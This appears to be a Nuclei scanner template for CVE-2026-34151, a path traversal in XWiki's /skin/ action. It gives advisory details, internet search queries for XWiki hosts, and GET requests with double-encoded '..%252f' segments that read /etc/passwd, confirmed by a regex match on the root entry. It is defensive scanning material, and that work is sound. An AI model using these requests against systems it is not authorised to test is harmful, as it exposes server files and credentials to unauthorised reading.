XWiki Platform - Path Traversal

id: CVE-2026-34151

info:
  name: XWiki Platform - Path Traversal
  author: ritikchaddha
  severity: high
  description: |
    XWiki Platform is a generic wiki platform. Prior to 17.10.5 and 18.2.0, the /skin/ action in com.xpn.xwiki.web.SkinAction can resolve double-encoded parent-directory segments outside the intended skin or web-application resource prefix when Jetty 12 or later decodes the request path. The affected lookup is replaced with Environment.getResourceAsStream(String, String), which constrains a resource to its expected prefix. An unauthenticated remote attacker can use the vulnerable behavior to read arbitrary resources permitted to the Jetty process, including WEB-INF/xwiki.cfg and, depending on deployment depth and operating-system permissions, host files. Tomcat and Jetty versions before 12 do not appear affected. This issue is fixed in versions 17.10.5 and 18.2.0.
  impact: |
    An unauthenticated remote attacker can use the vulnerable behavior to read arbitrary resources permitted to the Jetty process, including WEB-INF/xwiki.cfg and, depending on deployment depth and operating-system permissions, host files.
  remediation: |
    Upgrade XWiki to later than 17.10.5 and 18.2.0.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-qj4x-9g63-25g6
    - https://jira.xwiki.org/browse/XWIKI-24075
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34151
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.2
    cve-id: CVE-2026-34151
    epss-score: 0.01062
    epss-percentile: 0.6452
    cwe-id: CWE-24
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: xwiki
    product: xwiki
    fofa-query: body="data-xwiki-reference"
    shodan-query: html:"data-xwiki-reference"
  tags: cve,cve2026,xwiki,path-traversal,lfi

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'xwiki')"
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/skin/..%252f/..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd"
      - "{{BaseURL}}/bin/skin/..%252f/..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "regex('root:.*:0:0:', body)"
          - "contains(content_type, 'application/octet-stream')"
        condition: and
# digest: 4b0a00483046022100c391923e0439a88b68b49851895038fbd05ac6b2ff5c023c031bbf4b10b6362c022100c57c846a0ad36d7e8eca16ea049ae8646c30451d1f0a15c40288ad7df385f1a9:922c64590222798bb761d5b6d8e72950